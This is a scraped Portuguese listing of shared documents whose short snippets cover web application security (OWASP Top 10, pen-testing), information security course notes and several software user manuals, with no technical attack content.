OWASP. The OWASP Foundation http://www.owasp.org. As 10 mais críticas vulnerabilidades de segurança em Aplicações Web

OWASP. The OWASP Foundation http://www.owasp.org. As 10 mais críticas vulnerabilidades de segurança em Aplicações Web As 10 mais críticas vulnerabilidades de segurança em Aplicações Web Carlos Serrão Portugal ISCTE/DCTI/Adetti/NetMuST Abril, 2009 carlos.serrao@iscte.pt carlos.j.serrao@gmail.com Copyright 2004 - The Foundation

Leia mais

Manual do Usuário. Sistema Financeiro e Caixa

Manual do Usuário. Sistema Financeiro e Caixa Manual do Usuário Sistema Financeiro e Caixa - Lançamento de receitas, despesas, gastos, depósitos. - Contas a pagar e receber. - Emissão de cheque e Autorização de pagamentos/recibos. - Controla um ou

Leia mais

Prof. Jefferson Costa www.jeffersoncosta.com.br

Prof. Jefferson Costa www.jeffersoncosta.com.br Prof. Jefferson Costa www.jeffersoncosta.com.br Preservação da: confidencialidade: Garantia de que o acesso à informação seja obtido somente por pessoas autorizadas. integridade: Salvaguarda da exatidão

Leia mais

Curso de Aprendizado Industrial Desenvolvedor WEB

Curso de Aprendizado Industrial Desenvolvedor WEB Curso de Aprendizado Industrial Desenvolvedor WEB Disciplina: Programação Orientada a Objetos II Professor: Cheli dos S. Mendes da Costa Modelo Cliente- Servidor Modelo de Aplicação Cliente-servidor Os

Leia mais

Segurança da Informação Prof. Jeferson Cordini jmcordini@hotmail.com

Segurança da Informação Prof. Jeferson Cordini jmcordini@hotmail.com Segurança da Informação Prof. Jeferson Cordini jmcordini@hotmail.com Segurança da Informação Segurança da Informação está relacionada com proteção de um conjunto de dados, no sentido de preservar o valor

Leia mais

Segurança. Projeto. Cartilha de Segurança da Internet. As pragas da Internet. Navegar é preciso!! Arriscar-se não.

Segurança. Projeto. Cartilha de Segurança da Internet. As pragas da Internet. Navegar é preciso!! Arriscar-se não. Cartilha de Segurança da Internet O Termo "Segurança", segundo a ISO 7498-2, é utilizado para especificar os fatores necessários para minimizar a vulnerabilidades de bens e recursos e está relacionada

Leia mais

Segurança de Computadores LUBRITEC. Ver. 4.0 Data Out/2010 Vigência: Out/2011. Prezado colaborador,

Segurança de Computadores LUBRITEC. Ver. 4.0 Data Out/2010 Vigência: Out/2011. Prezado colaborador, LUBRITEC Ver. 4.0 Data Out/2010 Vigência: Out/2011 1 Prezado colaborador, O nosso dia na empresa, começa quando ligamos o computador. Logo acessamos a rede interna; recebemos, respondemos e enviamos novos

Leia mais

Manual QuotServ Todos os direitos reservados 2006/2007

Manual QuotServ Todos os direitos reservados 2006/2007 Todos os direitos reservados 2006/2007 Índice 1. Descrição 3 2. Instalação 3 3. Configurações 4 4. Usando arquivo texto delimitado 5 5. Usando arquivo texto com posições fixas 7 6. Usando uma conexão MySQL

Leia mais

INSTALAÇÃO PRINTERTUX Tutorial

INSTALAÇÃO PRINTERTUX Tutorial INSTALAÇÃO PRINTERTUX Tutorial 2 1. O Sistema PrinterTux O Printertux é um sistema para gerenciamento e controle de impressões. O Produto consiste em uma interface web onde o administrador efetua o cadastro

Leia mais

Guia do funcionário seguro

Guia do funcionário seguro Guia do funcionário seguro INTRODUÇÃO A Segurança da informação em uma empresa é responsabilidade do departamento de T.I. (tecnologia da informação) ou da própria área de Segurança da Informação (geralmente,

Leia mais

Tecnologias WEB Web 2.0

Tecnologias WEB Web 2.0 Tecnologias WEB Web 2.0 Prof. José Maurício S. Pinheiro UniFOA 2009-2 Conceitos A Web 2.0 marca uma tendência que reforça o conceito de troca de informações e colaboração entre seres humanos, sites e serviços

Leia mais

Pen-test de Aplicações Web: Técnicas e Ferramentas

Pen-test de Aplicações Web: Técnicas e Ferramentas Divisão de Informática - DINF MJ Departamento de Polícia Federal Pen-test de Aplicações Web: Técnicas e Ferramentas Ivo de Carvalho Peixinho Perito Criminal Federal Agenda 1. Introdução 2. Ferramentas

Leia mais

Mais sobre uso de formulários Site sem Ajax

Mais sobre uso de formulários Site sem Ajax Mais sobre uso de formulários Site sem Ajax Página com busca padrão 1 Página com o resultado da busca carregada no local da anterior (o formulário está vazio) Site com Ajax 2 Site usando Ajax para preencher

Leia mais

Proteção no Ciberespaço da Rede UFBA. CPD - Divisão de Suporte Yuri Alexandro yuri.alexandro@ufba.br

Proteção no Ciberespaço da Rede UFBA. CPD - Divisão de Suporte Yuri Alexandro yuri.alexandro@ufba.br Proteção no Ciberespaço da Rede UFBA CPD - Divisão de Suporte Yuri Alexandro yuri.alexandro@ufba.br Agenda Segurança o que é? Informação o que é? E Segurança da Informação? Segurança da Informação na UFBA

Leia mais

Moodle FTEC Versão 2.0 Manual do Usuário Acesse a área de LOGIN do site da FTEC www.ftec.com.br

Moodle FTEC Versão 2.0 Manual do Usuário Acesse a área de LOGIN do site da FTEC www.ftec.com.br Moodle FTEC Versão 2.0 Manual do Usuário Acesse a área de LOGIN do site da FTEC www.ftec.com.br Índice Como acessar o Moodle Editando seu PERFIL Editando o curso / disciplina no Moodle Incluindo Recursos

Leia mais

Integrated User Verification Guia de Implementação do Cliente 2015-05-04 Confidencial Versão 2.9

Integrated User Verification Guia de Implementação do Cliente 2015-05-04 Confidencial Versão 2.9 Integrated User Verification Guia de Implementação do Cliente 2015-05-04 Confidencial Versão 2.9 SUMÁRIO Introdução... 2 Finalidade e público-alvo... 2 Sobre este documento... 2 Termos mais utilizados...

Leia mais

SEG. EM SISTEMAS E REDES. 02. Vulnerabilidades em sistemas. Prof. Ulisses Cotta Cavalca

SEG. EM SISTEMAS E REDES. 02. Vulnerabilidades em sistemas. Prof. Ulisses Cotta Cavalca <ulisses.cotta@gmail.com> SEG. EM SISTEMAS E REDES 02. Vulnerabilidades em sistemas Prof. Ulisses Cotta Cavalca Belo Horizonte/MG 2015 SUMÁRIO 1) Introdução 2) Vulnerabilidades em sistemas 1. INTRODUÇÃO

Leia mais